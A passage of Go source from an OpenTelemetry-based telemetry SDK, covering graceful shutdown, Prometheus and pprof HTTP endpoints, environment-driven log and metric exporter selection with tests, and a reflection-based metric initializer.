[]shutdown } // ShutdownContext is context for triggering graceful shutdown. // It is cancelled on SIGINT. // // Base context [Telemetry.BaseContext] can be used during shutdown to finish pending operations, it will be cancelled later // on timeout. func (m *Telemetry) ShutdownContext() context.Context { return m.shutdownContext } // BaseContext is base context for the application. func (m *Telemetry) BaseContext() context.Context { return m.baseContext } func (m *Telemetry) registerShutdown(name string, fn func(ctx context.Context) error) { m.shutdowns = append(m.shutdowns, shutdown{name: name, fn: fn}) } type shutdown struct { name string fn func(ctx context.Context) error } func (m *Telemetry) String() string { return "metrics" } func (m *Telemetry) run(ctx context.Context) error { defer m.lg.Debug("Stopped metrics") wg, ctx := errgroup.WithContext(ctx) for i := range m.http { e := m.http[i] wg.Go(func() error { m.lg.Info("Starting http server", zap.Strings("services", e.services), ) if err := e.srv.ListenAndServe(); err != nil && !errors.Is(err, http.ErrServerClosed) { return err } m.lg.Debug("Metrics server gracefully stopped") return nil }) } wg.Go(func() error { // Wait until g ctx canceled, then try to shut down server. baseCtx := ctx select { case <-ctx.Done(): // Non-graceful shutdown. baseCtx = context.Background() case <-m.ShutdownContext().Done(): // Graceful shutdown attempt. } m.lg.Debug("Shutting down metrics") ctx, cancel := context.WithTimeout(baseCtx, shutdownTimeout) defer cancel() // Not returning error, just reporting to log. m.shutdown(ctx) return nil }) return wg.Wait() } func (m *Telemetry) shutdown(ctx context.Context) { defer m.lg.Debug("Shut down") var wg sync.WaitGroup // Launch shutdowns in parallel. wg.Add(len(m.shutdowns)) var shutdowns []string for _, s := range m.shutdowns { var ( f = s.fn n = s.name ) shutdowns = append(shutdowns, n) go func() { defer wg.Done() if err := f(ctx); err != nil { m.lg.Error("Failed to shutdown", zap.Error(err), zap.String("name", n)) } }() } // Wait for all shutdowns to finish. m.lg.Info("Waiting for shutdowns", zap.Strings("shutdowns", shutdowns)) wg.Wait() } func (m *Telemetry) MeterProvider() metric.MeterProvider { if m.meterProvider == nil { return otel.GetMeterProvider() } return m.meterProvider } func (m *Telemetry) TracerProvider() trace.TracerProvider { if m.tracerProvider == nil { return otel.GetTracerProvider() } return m.tracerProvider } func (m *Telemetry) LoggerProvider() log.LoggerProvider { if m.loggerProvider == nil { return noop.NewLoggerProvider() } return m.loggerProvider } func (m *Telemetry) TextMapPropagator() propagation.TextMapPropagator { return m.propagator } func prometheusAddr() string { host := "localhost" port := "9464" if v := os.Getenv("OTEL_EXPORTER_PROMETHEUS_HOST"); v != "" { host = v } if v := os.Getenv("OTEL_EXPORTER_PROMETHEUS_PORT"); v != "" { port = v } return net.JoinHostPort(host, port) } type zapErrorHandler struct { lg *zap.Logger } func (z zapErrorHandler) Handle(err error) { z.lg.Error("Error", zap.Error(err)) } func newTelemetry( baseCtx, shutdownCtx context.Context, lg *zap.Logger, res *resource.Resource, meterOptions []autometer.Option, tracerOptions []autotracer.Option, logsOptions []autologs.Option, ) (*Telemetry, error) { { // Setup global OTEL logger and error handler. logger := lg.Named("otel") otel.SetLogger(zapr.NewLogger(logger)) otel.SetErrorHandler(zapErrorHandler{lg: logger}) } m := &Telemetry{ lg: lg, resource: res, shutdownContext: shutdownCtx, baseContext: baseCtx, } ctx := baseCtx { provider, stop, err := autologs.NewLoggerProvider(ctx, include(logsOptions, autologs.WithResource(res), )..., ) if err != nil { return nil, errors.Wrap(err, "logger provider") } m.loggerProvider = provider m.registerShutdown("logger", stop) } { provider, stop, err := autotracer.NewTracerProvider(ctx, include(tracerOptions, autotracer.WithResource(res), )..., ) if err != nil { return nil, errors.Wrap(err, "tracer provider") } m.tracerProvider = provider m.registerShutdown("tracer", stop) } { provider, stop, err := autometer.NewMeterProvider(ctx, include(meterOptions, autometer.WithResource(res), autometer.WithOnPrometheusRegistry(func(reg *promClient.Registry) { m.prom = reg }), )..., ) if err != nil { return nil, errors.Wrap(err, "meter provider") } m.meterProvider = provider m.registerShutdown("meter", stop) } // Automatically composited from the OTEL_PROPAGATORS environment variable. m.propagator = autoprop.NewTextMapPropagator() // Setting up go runtime metrics. if err := runtime.Start( runtime.WithMeterProvider(m.MeterProvider()), runtime.WithMinimumReadMemStatsInterval(time.Second), // export as env? ); err != nil { return nil, errors.Wrap(err, "runtime metrics") } // Setup pyroscope. if autopyro.Enabled() { stop, err := autopyro.Setup(ctx) if err != nil { return nil, errors.Wrap(err, "pyroscope") } m.registerShutdown("pyroscope", stop) // Setup pyroscope tracing integration. // See https://github.com/grafana/otel-profiling-go m.tracerProvider = otelpyroscope.NewTracerProvider(m.tracerProvider) } // Register global OTEL providers. otel.SetMeterProvider(m.MeterProvider()) otel.SetTracerProvider(m.TracerProvider()) otel.SetTextMapPropagator(m.TextMapPropagator()) // Initialize and register HTTP servers if required. // // Adding prometheus. if m.prom != nil { promAddr := prometheusAddr() if v := os.Getenv("METRICS_ADDR"); v != "" { promAddr = v } mux := http.NewServeMux() e := httpEndpoint{ srv: &http.Server{Addr: promAddr, Handler: mux}, services: []string{"prometheus"}, addr: promAddr, mux: mux, } mux.Handle("/metrics", promhttp.HandlerFor(m.prom, promhttp.HandlerOpts{}), ) m.http = append(m.http, e) } // Adding pprof. if v := os.Getenv("PPROF_ADDR"); v != "" { const serviceName = "pprof" // Search for existing endpoint. var he httpEndpoint for i, e := range m.http { if e.addr != v { continue } // Using existing endpoint he = e he.services = append(he.services, serviceName) m.http[i] = he } if he.srv == nil { // Creating new endpoint. mux := http.NewServeMux() he = httpEndpoint{ srv: &http.Server{Addr: v, Handler: mux}, addr: v, mux: mux, services: []string{serviceName}, } m.http = append(m.http, he) } m.registerProfiler(he.mux) } fields := []zap.Field{ zap.Stringer("otel.resource", res), } for _, e := range m.http { for _, s := range e.services { fields = append(fields, zap.String("http."+s, e.addr)) } name := fmt.Sprintf("http %v", e.services) m.registerShutdown(name, e.srv.Shutdown) } lg.Info("Metrics initialized", fields...) return m, nil } ``` ## /autologs/autologs.go ```go path="/autologs/autologs.go" package autologs import ( "context" "io" "os" "strings" "github.com/go-faster/errors" "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc" "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp" "go.opentelemetry.io/otel/exporters/stdout/stdoutlog" "go.opentelemetry.io/otel/log" "go.opentelemetry.io/otel/log/noop" sdklog "go.opentelemetry.io/otel/sdk/log" "go.uber.org/zap" "github.com/keytemp/sdk/zctx" ) const ( expOTLP = "otlp" expNone = "none" // no-op protoHTTP = "http" protoGRPC = "grpc" defaultProto = protoGRPC ) const ( writerStdout = "stdout" writerStderr = "stderr" ) func writerByName(name string) io.Writer { switch name { case writerStdout: return os.Stdout case writerStderr: return os.Stderr default: return io.Discard } } func getEnvOr(name, def string) string { if v := os.Getenv(name); v != "" { return v } return def } func nop(_ context.Context) error { return nil } // ShutdownFunc is a function that shuts down the MeterProvider. type ShutdownFunc func(ctx context.Context) error // NewLoggerProvider initializes new [log.LoggerProvider] with the given options from environment variables. func NewLoggerProvider(ctx context.Context, options ...Option) ( meterProvider log.LoggerProvider, meterShutdown ShutdownFunc, err error, ) { cfg := newConfig(options) lg := zctx.From(ctx) var logOptions []sdklog.LoggerProviderOption if cfg.res != nil { logOptions = append(logOptions, sdklog.WithResource(cfg.res)) } ret := func(e sdklog.Exporter) (log.LoggerProvider, func(ctx context.Context) error, error) { logOptions = append(logOptions, sdklog.WithProcessor( sdklog.NewBatchProcessor(e), )) return sdklog.NewLoggerProvider(logOptions...), e.Shutdown, nil } exporter := strings.TrimSpace(getEnvOr("OTEL_LOGS_EXPORTER", expOTLP)) switch exporter { case expOTLP: proto := os.Getenv("OTEL_EXPORTER_OTLP_PROTOCOL") if proto == "" { proto = os.Getenv("OTEL_EXPORTER_OTLP_LOGS_PROTOCOL") } if proto == "" { proto = defaultProto } lg.Debug("Using OTLP logs exporter", zap.String("protocol", proto)) switch proto { case protoHTTP: exp, err := otlploghttp.New(ctx) if err != nil { return nil, nil, errors.Wrap(err, "create OTLP HTTP logs exporter") } return ret(exp) case protoGRPC: exp, err := otlploggrpc.New(ctx) if err != nil { return nil, nil, errors.Wrap(err, "create OTLP gRPC logs exporter") } return ret(exp) default: return nil, nil, errors.Errorf("unsupported logs otlp protocol %q", proto) } case writerStdout, writerStderr: lg.Debug("Using stdout log exporter", zap.String("writer", exporter)) writer := cfg.writer if writer == nil { writer = writerByName(exporter) } exp, err := stdoutlog.New(stdoutlog.WithWriter(writer)) if err != nil { return nil, nil, errors.Wrapf(err, "create %q logs exporter", exporter) } return ret(exp) case expNone: lg.Debug("Using no-op logs exporter") return noop.NewLoggerProvider(), nop, nil default: lookup := cfg.lookup if lookup == nil { break } lg.Debug("Looking for logs exporter", zap.String("exporter", exporter)) exp, ok, err := lookup(ctx, exporter) if err != nil { return nil, nil, errors.Wrapf(err, "create %q", exporter) } if !ok { break } lg.Debug("Using user-defined log exporter", zap.String("exporter", exporter)) return ret(exp) } return nil, nil, errors.Errorf("unsupported OTEL_LOGS_EXPORTER %q", exporter) } ``` ## /autologs/config.go ```go path="/autologs/config.go" package autologs import ( "context" "io" sdklog "go.opentelemetry.io/otel/sdk/log" "go.opentelemetry.io/otel/sdk/resource" ) // config contains configuration options for a LoggerProvider. type config struct { res *resource.Resource writer io.Writer lookup LookupExporter } // newConfig returns a config configured with options. func newConfig(options []Option) config { conf := config{res: resource.Default()} for _, o := range options { conf = o.apply(conf) } return conf } // Option applies a configuration option value to a LoggerProvider. type Option interface { apply(config) config } // optionFunc applies a set of options to a config. type optionFunc func(config) config // apply returns a config with option(s) applied. func (o optionFunc) apply(conf config) config { return o(conf) } // WithResource associates a Resource with a LoggerProvider. This Resource // represents the entity producing telemetry and is associated with all Meters // the LoggerProvider will create. // // By default, if this Option is not used, the default Resource from the // go.opentelemetry.io/otel/sdk/resource package will be used. func WithResource(res *resource.Resource) Option { return optionFunc(func(conf config) config { conf.res = res return conf }) } // WithWriter sets writer for the stderr, stdout exporters. func WithWriter(out io.Writer) Option { return optionFunc(func(conf config) config { conf.writer = out return conf }) } // LookupExporter creates exporter by name. type LookupExporter func(ctx context.Context, name string) (sdklog.Exporter, bool, error) // WithLookupExporter sets exporter lookup function. func WithLookupExporter(lookup LookupExporter) Option { return optionFunc(func(conf config) config { conf.lookup = lookup return conf }) } ``` ## /autologs/config_test.go ```go path="/autologs/config_test.go" package autologs import ( "context" "errors" "fmt" "io" "testing" "github.com/stretchr/testify/require" "go.opentelemetry.io/otel/exporters/stdout/stdoutlog" "go.opentelemetry.io/otel/sdk/log" ) func TestWithLookupExporter(t *testing.T) { var lookup LookupExporter = func(ctx context.Context, name string) (log.Exporter, bool, error) { switch name { case "return_something": e, err := stdoutlog.New(stdoutlog.WithWriter(io.Discard)) return e, true, err case "return_error": return nil, false, errors.New("test error") default: return nil, false, nil } } for i, tt := range []struct { name string containsErr string }{ {"return_something", ``}, {"return_error", `test error`}, {"return_not_exist", `unsupported OTEL_LOGS_EXPORTER "return_not_exist"`}, } { tt := tt t.Run(fmt.Sprintf("Test%d", i+1), func(t *testing.T) { t.Setenv("OTEL_LOGS_EXPORTER", tt.name) ctx := context.Background() _, _, err := NewLoggerProvider(ctx, WithLookupExporter(lookup)) if tt.containsErr != "" { require.ErrorContains(t, err, tt.containsErr) return } require.NoError(t, err) }) } } ``` ## /autologs/setup.go ```go path="/autologs/setup.go" package autologs import ( "context" "go.opentelemetry.io/contrib/bridges/otelzap" "go.opentelemetry.io/otel/log" "go.uber.org/zap" "go.uber.org/zap/zapcore" "github.com/keytemp/sdk/zctx" ) // Setup OpenTelemetry to zap logger bridge. func Setup(ctx context.Context, loggerProvider log.LoggerProvider, teeCore bool) (context.Context, error) { lg := zctx.From(ctx) otelCore := otelzap.NewCore("github.com/keytemp/sdk/app", otelzap.WithLoggerProvider(loggerProvider), ) wrapCore := func(core zapcore.Core) zapcore.Core { return otelCore // log only to bridge } if teeCore { wrapCore = func(core zapcore.Core) zapcore.Core { // Log both to bridge and original core. return zapcore.NewTee(core, otelCore) } } return zctx.Base(ctx, lg.WithOptions( zap.WrapCore(wrapCore), ), ), nil } ``` ## /autometer/autometer.go ```go path="/autometer/autometer.go" // Package autometer provides an OpenTelemetry MeterProvider creation // function. package autometer import ( "context" "encoding/json" "io" "os" "strings" "github.com/go-faster/errors" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/collectors" "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc" "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp" otelprometheus "go.opentelemetry.io/otel/exporters/prometheus" "go.opentelemetry.io/otel/exporters/stdout/stdoutmetric" "go.opentelemetry.io/otel/metric" "go.opentelemetry.io/otel/metric/noop" sdkmetric "go.opentelemetry.io/otel/sdk/metric" "go.uber.org/zap" "github.com/keytemp/sdk/zctx" ) const ( expOTLP = "otlp" expNone = "none" // no-op expPrometheus = "prometheus" protoHTTP = "http" protoGRPC = "grpc" defaultProto = protoGRPC ) const ( writerStdout = "stdout" writerStderr = "stderr" ) func writerByName(name string) io.Writer { switch name { case writerStdout: return os.Stdout case writerStderr: return os.Stderr default: return io.Discard } } func getEnvOr(name, def string) string { if v := os.Getenv(name); v != "" { return v } return def } func noopHandler(_ context.Context) error { return nil } // ShutdownFunc is a function that shuts down the MeterProvider. type ShutdownFunc func(ctx context.Context) error // NewMeterProvider returns new metric.MeterProvider based on environment variables. func NewMeterProvider(ctx context.Context, options ...Option) ( meterProvider metric.MeterProvider, meterShutdown ShutdownFunc, err error, ) { cfg := newConfig(options) lg := zctx.From(ctx) var metricOptions []sdkmetric.Option if cfg.res != nil { metricOptions = append(metricOptions, sdkmetric.WithResource(cfg.res)) } ret := func(r sdkmetric.Reader) (metric.MeterProvider, func(ctx context.Context) error, error) { metricOptions = append(metricOptions, sdkmetric.WithReader(r)) return sdkmetric.NewMeterProvider(metricOptions...), r.Shutdown, nil } // Metrics exporter. exporter := strings.TrimSpace(getEnvOr("OTEL_METRICS_EXPORTER", expOTLP)) switch exporter { case expPrometheus: lg.Debug("Using Prometheus metrics exporter") reg := cfg.prom if reg == nil { reg = prometheus.NewPedanticRegistry() } if cfg.promCallback != nil { switch v := reg.(type) { case *prometheus.Registry: cfg.promCallback(v) } } exp, err := otelprometheus.New( otelprometheus.WithRegisterer(reg), ) if err != nil { return nil, nil, errors.Wrap(err, "create Prometheus exporter") } // Register legacy prometheus-only runtime metrics for backward compatibility. reg.MustRegister( collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), collectors.NewGoCollector(), collectors.NewBuildInfoCollector(), ) return ret(exp) case expOTLP: proto := os.Getenv("OTEL_EXPORTER_OTLP_PROTOCOL") if proto == "" { proto = os.Getenv("OTEL_EXPORTER_OTLP_METRICS_PROTOCOL") } if proto == "" { proto = defaultProto } lg.Debug("Using OTLP metrics exporter", zap.String("protocol", proto)) switch proto { case protoHTTP: exp, err := otlpmetrichttp.New(ctx) if err != nil { return nil, nil, errors.Wrap(err, "create OTLP HTTP metric exporter") } return ret(sdkmetric.NewPeriodicReader(exp)) case protoGRPC: exp, err := otlpmetricgrpc.New(ctx) if err != nil { return nil, nil, errors.Wrap(err, "create OTLP gRPC metric exporter") } return ret(sdkmetric.NewPeriodicReader(exp)) default: return nil, nil, errors.Errorf("unsupported metric OTLP protocol %q", proto) } case writerStdout, writerStderr: lg.Debug("Using stdout metrics exporter", zap.String("writer", exporter)) writer := cfg.writer if writer == nil { writer = writerByName(exporter) } enc := json.NewEncoder(writer) exp, err := stdoutmetric.New(stdoutmetric.WithEncoder(enc)) if err != nil { return nil, nil, errors.Wrapf(err, "create %q metric exporter", exporter) } return ret(sdkmetric.NewPeriodicReader(exp)) case expNone: lg.Debug("Using no-op metrics exporter") return noop.NewMeterProvider(), noopHandler, nil default: lookup := cfg.lookup if lookup == nil { break } lg.Debug("Looking for metrics exporter", zap.String("exporter", exporter)) exp, ok, err := lookup(ctx, exporter) if err != nil { return nil, nil, errors.Wrapf(err, "create %q", exporter) } if !ok { break } lg.Debug("Using user-defined metrics exporter", zap.String("exporter", exporter)) return ret(exp) } return nil, nil, errors.Errorf("unsupported OTEL_METRICS_EXPORTER %q", exporter) } ``` ## /autometer/autometer_test.go ```go path="/autometer/autometer_test.go" package autometer_test import ( "context" "io" "testing" "github.com/stretchr/testify/require" "go.opentelemetry.io/otel/sdk/resource" "github.com/keytemp/sdk/autometer" ) func TestNewMeterProvider(t *testing.T) { ctx := context.Background() res := resource.Default() t.Run("Positive", func(t *testing.T) { t.Setenv("OTEL_METRICS_EXPORTER", "none") meter, stop, err := autometer.NewMeterProvider(ctx, autometer.WithResource(res)) require.NoError(t, err) require.NotNil(t, meter) require.NotNil(t, stop) _ = meter.Meter("test") require.NoError(t, stop(ctx)) }) t.Run("Negative", func(t *testing.T) { t.Setenv("OTEL_METRICS_EXPORTER", "unsupported") meter, stop, err := autometer.NewMeterProvider(ctx, autometer.WithResource(res)) require.Error(t, err) require.Nil(t, meter) require.Nil(t, stop) }) t.Run("All", func(t *testing.T) { for _, exp := range []string{ "none", "stdout", "stderr", // "otlp", // TODO: add non-blocking dial "prometheus", } { t.Run(exp, func(t *testing.T) { t.Setenv("OTEL_METRICS_EXPORTER", exp) meter, stop, err := autometer.NewMeterProvider(ctx, autometer.WithResource(res), autometer.WithWriter(io.Discard)) require.NoError(t, err) require.NotNil(t, meter) require.NotNil(t, stop) _ = meter.Meter("test") require.NoError(t, stop(ctx)) }) } }) } ``` ## /autometer/config.go ```go path="/autometer/config.go" package autometer import ( "context" "io" "github.com/prometheus/client_golang/prometheus" sdkmetric "go.opentelemetry.io/otel/sdk/metric" "go.opentelemetry.io/otel/sdk/resource" ) // config contains configuration options for a MeterProvider. type config struct { res *resource.Resource writer io.Writer lookup LookupExporter prom prometheus.Registerer promCallback func(reg *prometheus.Registry) } // newConfig returns a config configured with options. func newConfig(options []Option) config { conf := config{res: resource.Default()} for _, o := range options { conf = o.apply(conf) } return conf } // Option applies a configuration option value to a MeterProvider. type Option interface { apply(config) config } // optionFunc applies a set of options to a config. type optionFunc func(config) config // apply returns a config with option(s) applied. func (o optionFunc) apply(conf config) config { return o(conf) } // WithResource associates a Resource with a MeterProvider. This Resource // represents the entity producing telemetry and is associated with all Meters // the MeterProvider will create. // // By default, if this Option is not used, the default Resource from the // go.opentelemetry.io/otel/sdk/resource package will be used. func WithResource(res *resource.Resource) Option { return optionFunc(func(conf config) config { conf.res = res return conf }) } func WithPrometheusRegisterer(reg prometheus.Registerer) Option { return optionFunc(func(conf config) config { conf.prom = reg return conf }) } func WithOnPrometheusRegistry(f func(reg *prometheus.Registry)) Option { return optionFunc(func(conf config) config { conf.promCallback = f return conf }) } // WithWriter sets writer for the stderr, stdout exporters. func WithWriter(out io.Writer) Option { return optionFunc(func(conf config) config { conf.writer = out return conf }) } // LookupExporter creates exporter by name. type LookupExporter func(ctx context.Context, name string) (sdkmetric.Reader, bool, error) // WithLookupExporter sets exporter lookup function. func WithLookupExporter(lookup LookupExporter) Option { return optionFunc(func(conf config) config { conf.lookup = lookup return conf }) } ``` ## /autometer/config_test.go ```go path="/autometer/config_test.go" package autometer import ( "context" "errors" "fmt" "testing" "github.com/stretchr/testify/require" sdkmetric "go.opentelemetry.io/otel/sdk/metric" ) func TestWithLookupExporter(t *testing.T) { var lookup LookupExporter = func(ctx context.Context, name string) (sdkmetric.Reader, bool, error) { switch name { case "return_something": r := sdkmetric.NewManualReader() return r, true, nil case "return_error": return nil, false, errors.New("test error") default: return nil, false, nil } } for i, tt := range []struct { name string containsErr string }{ {"return_something", ``}, {"return_error", `test error`}, {"return_not_exist", `unsupported OTEL_METRICS_EXPORTER "return_not_exist"`}, } { tt := tt t.Run(fmt.Sprintf("Test%d", i+1), func(t *testing.T) { t.Setenv("OTEL_METRICS_EXPORTER", tt.name) ctx := context.Background() _, _, err := NewMeterProvider(ctx, WithLookupExporter(lookup)) if tt.containsErr != "" { require.ErrorContains(t, err, tt.containsErr) return } require.NoError(t, err) }) } } ``` ## /autometric/autometric.go ```go path="/autometric/autometric.go" // Package autometric contains a simple reflect-based OpenTelemetry metric initializer. package autometric import ( "reflect" "strconv" "strings" "github.com/go-faster/errors" "go.opentelemetry.io/otel/metric" ) var ( int64CounterType = reflect.TypeOf(new(metric.Int64Counter)).Elem() int64UpDownCounterType = reflect.TypeOf(new(metric.Int64UpDownCounter)).Elem() int64HistogramType = reflect.TypeOf(new(metric.Int64Histogram)).Elem() int64GaugeType = reflect.TypeOf(new(metric.Int64Gauge)).Elem() int64ObservableCounterType = reflect.TypeOf(new(metric.Int64ObservableCounter)).Elem() int64ObservableUpDownCounterType = reflect.TypeOf(new(metric.Int64ObservableUpDownCounter)).Elem() int64ObservableGaugeType = reflect.TypeOf(new(metric.Int64ObservableGauge)).Elem() ) var ( float64CounterType = reflect.TypeOf(new(metric.Float64Counter)).Elem() float64UpDownCounterType = reflect.TypeOf(new(metric.Float64UpDownCounter)).Elem() float64HistogramType = reflect.TypeOf(new(metric.Float64Histogram)).Elem() float64GaugeType = reflect.TypeOf(new(metric.Float64Gauge)).Elem() float64ObservableCounterType = reflect.TypeOf(new(metric.Float64ObservableCounter)).Elem() float64ObservableUpDownCounterType = reflect.TypeOf(new(metric.Float64ObservableUpDownCounter)).Elem() float64ObservableGaugeType = reflect.TypeOf(new(metric.Float64ObservableGauge)).Elem() ) // InitOptions defines options for [Init]. type InitOptions struct { // Prefix defines common prefix for all metrics. Prefix string // FieldName returns name for given field. FieldName func(prefix string, sf reflect.StructField) string } func (opts *InitOptions) setDefaults() { if opts.FieldName == nil { opts.FieldName = fieldName } } func fieldName(prefix string, sf reflect.StructField) string { name := snakeCase(sf.Name) if tag, ok := sf.Tag.Lookup("name"); ok { name = tag } return prefix + name } // Init initialize metrics in given struct s using given meter. func Init(m metric.Meter, s any, opts InitOptions) error { opts.setDefaults() ptr := reflect.ValueOf(s) if !isValidPtrStruct(ptr) { return errors.Errorf("a pointer-to-struct expected, got %T", s) } var ( struct_ = ptr.Elem() structType = struct_.Type() ) for i := 0; i < struct_.NumField(); i++ { fieldType := structType.Field(i) if fieldType.Anonymous || !fieldType.IsExported() { continue } if n, ok := fieldType.Tag.Lookup("autometric"); ok && n == "-" { continue } field := struct_.Field(i) if !field.CanSet() { continue } mt, err := makeField(m, fieldType, opts) if err != nil { return errors.Wrapf(err, "field (%s).%s", structType, fieldType.Name) } field.Set(reflect.ValueOf(mt)) } return nil } func makeField(m metric.Meter, sf reflect.StructField, opts InitOptions) (any, error) { var ( name = opts.FieldName(opts.Prefix, sf) unit = sf.Tag.Get("unit") desc = sf.Tag.Get("description") boundaries []float64 ) if b, ok := sf.Tag.Lookup("boundaries"); ok { switch ftyp := sf.Type; ftyp { case int64HistogramType, float64HistogramType: default: return nil, errors.Errorf("boundaries tag should be used only on histogram metrics: got %v", ftyp) } for _, val := range strings.Split(b, ",") { f, err := strconv.ParseFloat(val, 64) if err != nil { return nil, errors.Wrap(err, "parse boundaries") } boundaries = append(boundaries, f) } } switch ftyp := sf.Type; ftyp { case int64CounterType: return m.Int64Counter(name, metric.WithUnit(unit), metric.WithDescription(desc), ) case int64UpDownCounterType: return m.Int64UpDownCounter(name, metric.WithUnit(unit), metric.WithDescription(desc), ) case int64HistogramType: return m.Int64Histogram(name, metric.WithUnit(unit), metric.WithDescription(desc), metric.WithExplicitBucketBoundaries(boundaries...), ) case int64GaugeType: return m.Int64Gauge(name, metric.WithUnit(unit), metric.WithDescription(desc), ) case int64ObservableCounterType, int64ObservableUpDownCounterType, int64ObservableGaugeType: return nil, errors.New("observables are not supported") case float64CounterType: return m.Float64Counter(name, metric.WithUnit(unit), metric.WithDescription(desc), ) case float64UpDownCounterType: return m.Float64UpDownCounter(name, metric.WithUnit(unit), metric.WithDescription(desc), ) case float64HistogramType: return m.Float64Histogram(name, metric.WithUnit(unit), metric.WithDescription(desc), metric.WithExplicitBucketBoundaries(boundaries...), ) case float64GaugeType: return m.Float64Gauge(name, metric.WithUnit(unit), metric.WithDescription(desc), ) case float64ObservableCounterType, float64ObservableUpDownCounterType, float64ObservableGaugeType: return nil, errors.New("observables are not supported") default: return nil, errors.Errorf("unexpected type %v", ftyp) } } func isValidPtrStruct(ptr reflect.Value) bool { return ptr.Kind() == reflect.Pointer && ptr.Elem().Kind() == reflect.Struct } ``` ## /autometric/autometric_test.go ```go path="/autometric/autometric_test.go" // Package autometric contains a simple reflect-based OpenTelemetry metric initializer. package autometric import ( "context" "fmt" "testing" "github.com/stretchr/testify/require" "go.opentelemetry.io/otel/metric" sdkmetric "go.opentelemetry.io/otel/sdk/metric" "go.opentelemetry.io/otel/sdk/metric/metricdata" ) func TestInit(t *testing.T) { ctx := context.Background() reader := sdkmetric.NewManualReader() mp := sdkmetric.NewMeterProvider(sdkmetric.WithReader(reader)) meter := mp.Meter("test-meter") var test struct { // Ignored fields. _ int _ metric.Int64Counter // Embedded fields. fmt.Stringer // Private fields. private int privateCounter metric.Int64Counter // Skip. SkipMe metric.Int64Counter `autometric:"-"` SkipMe2 metric.Int64ObservableCounter `autometric:"-"` Int64Counter metric.Int64Counter Int64UpDownCounter metric.Int64UpDownCounter Int64Histogram metric.Int64Histogram Int64Gauge metric.Int64Gauge Float64Counter metric.Float64Counter Float64UpDownCounter metric.Float64UpDownCounter Float64Histogram metric.Float64Histogram Float64Gauge metric.Float64Gauge Renamed metric.Int64Counter `name:"mega_counter"` WithDesc metric.Int64Counter `name:"with_desc" description:"foo"` WithUnit metric.Int64Counter `name:"with_unit" unit:"By"` WithBounds metric.Float64Histogram `name:"with_bounds" boundaries:"1,2,5"` } const prefix = "testmetrics.points." require.NoError(t, Init(meter, &test, InitOptions{ Prefix: prefix, })) require.Nil(t, test.privateCounter) require.NotNil(t, test.Int64Counter) test.Int64Counter.Add(ctx, 1) require.NotNil(t, test.Int64UpDownCounter) test.Int64UpDownCounter.Add(ctx, 1) require.NotNil(t, test.Int64Histogram) test.Int64Histogram.Record(ctx, 1) require.NotNil(t, test.Int64Gauge) test.Int64Gauge.Record(ctx, 1) require.NotNil(t, test.Float64Counter) test.Float64Counter.Add(ctx, 1) require.NotNil(t, test.Float64UpDownCounter) test.Float64UpDownCounter.Add(ctx, 1) require.NotNil(t, test.Float64Histogram) test.Float64Histogram.Record(ctx, 1) require.NotNil(t, test.Float64Gauge) test.Float64Gauge.Record(ctx, 1) require.NotNil(t, test.Renamed) test.Renamed.Add(ctx, 1) require.NotNil(t, test.WithDesc) test.WithDesc.Add(ctx, 1) require.NotNil(t, test.WithUnit) test.WithUnit.Add(ctx, 1) require.NotNil(t, test.WithBounds) test.WithBounds.Record(ctx, 1) require.NoError(t, mp.ForceFlush(ctx)) var data metricdata.ResourceMetrics require.NoError(t, reader.Collect(ctx, &data)) type MetricInfo struct { Name string Description string Unit string } var infos []MetricInfo for _, scope := range data.ScopeMetrics { for _, metric := range scope.Metrics { infos = append(infos, MetricInfo{ Name: metric.Name, Description: metric.Description, Unit: metric.Unit, }) } } require.Equal(t, []MetricInfo{ {Name: prefix + "int64_counter"}, {Name: prefix + "int64_up_down_counter"}, {Name: prefix + "int64_histogram"}, {Name: prefix + "int64_gauge"}, {Name: prefix + "float64_counter"}, {Name: prefix + "float64_up_down_counter"}, {Name: prefix + "float64_histogram"}, {Name: prefix + "float64_gauge"}, {Name: prefix + "mega_counter"}, {Name: prefix + "with_desc", Description: "foo"}, {Name: prefix + "with_unit", Unit: "By"}, {Name: prefix + "with_bounds"}, }, infos, ) } func TestInitErrors(t *testing.T) { type ( JustStruct struct{} UnexpectedType struct { Foo metric.Observable } UnsupportedInt64Observable struct { Observable metric.Int64ObservableCounter } UnsupportedFloat64Observable struct { Observable metric.Float64ObservableCounter } BoundariesOnNonHistogram struct { C metric.Int64Counter `boundaries:"foo"` } BadBoundaries struct { H metric.Float64Histogram `boundaries:"foo"` } BadBoundaries2 struct { H metric.Float64Histogram `boundaries:"foo,"` } ) for i, tt := range []struct { s any err string }{ {0, "a pointer-to-struct expected, got int"}, {JustStruct{}, "a pointer-to-struct expected, got autometric.JustStruct"}, {&UnexpectedType{}, "field (autometric.UnexpectedType).Foo: unexpected type metric.Observable"}, {&UnsupportedInt64Observable{}, "field (autometric.UnsupportedInt64Observable).Observable: observables are not supported"}, {&UnsupportedFloat64Observable{}, "field (autometric.UnsupportedFloat64Observable).Observable: observables are not supported"}, {&BoundariesOnNonHistogram{}, `field (autometric.BoundariesOnNonHistogram).C: boundaries tag should be used only on histogram metrics: got metric.Int64Counter`}, {&BadBoundaries{}, `field (autometric.BadBoundaries).H: parse boundaries: strconv.ParseFloat: parsing "foo": invalid syntax`}, {&BadBoundaries2{}, `field (autometric.BadBoundaries2).H: parse boundaries: strconv.ParseFloat: parsing "foo": invalid syntax`}, } { t.Run(fmt.Sprintf("Test%d", i+1), func(t *testing.T) { mp := sdkmetric.NewMeterProvider() meter := mp.Meter("test-meter") require.EqualError(t, Init(meter, tt.s, InitOptions{}), tt.err) }) } } ``` ## /autometric/strcase.go ```go path="/autometric/strcase.go" package autometric import ( "strings" "unicode" ) func snakeCase(s string) string { const delim = '_' s = strings.TrimSpace(s) for _, c := range s { if isUpper(c) { goto slow } } return s slow: var sb strings.Builder sb.Grow(len(s) + 8) var prev, curr rune for i, next := range s { switch { case isDelim(curr): if !isDelim(prev) { sb.WriteByte(delim) } case isUpper(curr): if isLower(prev) || (isUpper(prev) && isLower(next)) || (isDigit(prev) && isAlpha(next)) { sb.WriteByte(delim) } sb.WriteRune(unicode.ToLower(curr)) case i != 0: sb.WriteRune(unicode.ToLower(curr)) } prev = curr curr = next } if s != "" { if isUpper(curr) && isLower(prev) { sb.WriteByte(delim) } 